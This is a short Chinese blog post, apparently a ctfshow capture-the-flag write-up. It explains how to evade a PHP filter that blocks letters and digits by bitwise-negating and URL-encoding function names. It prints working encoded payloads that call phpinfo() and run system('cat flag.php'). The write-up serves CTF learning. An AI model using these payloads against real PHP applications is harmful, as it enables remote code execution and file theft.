当前位置: 首页 > news >正文

ctfshow 无字母数字代码执行

原理

我们可以对需要使用的函数进行取反绕过,然后再进行URL 编码;

payload取反获得不可打印字符,即可绕过字母数字检测,但不可打印字符不可以直接传入服务器,需要将其url编码一遍,直接传入可能会在传输或者构造的时候缺失或错乱,导致最后再取反回来错误或乱码

构造payload的时候将取反 ~ 带上一并传入服务器,这样服务器接收后会取反回来,便可还原代码;


利用

注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,因为在取反之前PHP解释器并不知道是要执行一个函数,导致取反之后就算是一个函数也不会被当作代码执行

var_dump(urlencode(~'phpinfo'));(~%8F%97%8F%96%91%99%90)();
#phpinfo();

在web端直接传会被前端二次加解码,导致服务器收到的数据错误,因此选择抓包传参发送原始数据

构造system('cat flag.php')

var_dump(urlencode(~'system'));
var_dump(urlencode(~'cat flag.php'));string(18) "%8C%86%8C%8B%9A%92"
string(36) "%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F"
# payload
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);
http://www.jsqmd.com/news/1039219/

相关文章:

  • EasyLPAC:5个关键步骤掌握专业级eUICC智能卡管理工具
  • 2026年宁波AI推广服务商实测盘点与合规推荐 - 起跑123
  • 医疗AI落地两大硬坎:临床信任断裂与数据合规失焦
  • AI公平性工程新范式:因果推断与合规落地实战
  • 终极指南:使用urdf-viz轻松实现机器人URDF文件可视化
  • 长途跨省电瓶车托运哪家好?2026最新口碑榜单 - 快递物流资讯
  • 股市语言密码:看懂全球资本流动的翻译之道
  • Adaboost原理深度解析:理解梯度提升家族的基石
  • 2026年现阶段贵州纠纷律师咨询哪位好?专业指南与资深律师马军深度解析 - 品牌鉴赏官2026
  • AI创业五大致命陷阱:从需求失焦到数据枯竭的实战避坑指南
  • Gemma 4 ARA越狱原理:线性表征与神经外科级模型编辑
  • 终极指南:如何为300+车型部署开源驾驶辅助系统openpilot
  • 3分钟搞定小爱音箱音乐服务:DID配置的终极完整指南 [特殊字符]
  • 2026在线去除背景工具保姆级教程!免费无水印AI在线抠图不用下载
  • 5个产品设计核心挑战与解决方案:构建现代数字产品设计技术栈
  • Microchip技术文档法律条款解读:工程师必知的知识产权、免责声明与风险规避
  • MCP6H系列运放:低功耗高精度CMOS运放的设计与应用实战
  • 嵌入式AEC算法库解析:从NLMS原理到DSP工程实践
  • 2026年文旅行业GEO优化公司“全意图”价值评估指南与选型避坑 - GEO优化
  • MATLAB单变量时序预测工具:内置KELM与SSA-KELM双模型,自动调参出图
  • MPC857T外部总线接口:对齐、仲裁与原子操作实战解析
  • 深入解析MPC801 PowerPC架构合规性:指令集、中断与存储模型实战
  • 24AA014/24LC014 EEPROM应用全解析:从I2C驱动到实战避坑
  • 黑苹果新手福音:3大核心功能揭秘OpCore Simplify的智能化配置革命
  • MC68HC16Y3 SCI模块深度解析:从UART原理到工业通信实战
  • 【Springboot毕设全套源码+文档】基于Java+springboot自行车租赁系统(丰富项目+远程调试+讲解+定制)
  • 深空CV实战:计算机视觉在航天任务中的硬核落地
  • 终极指南:让老旧Mac焕发新生,免费升级最新macOS系统
  • FPGA寄存器配置实现MOST网络异步数据传输详解
  • 4层架构重构:构建企业级可视化ETL数据集成平台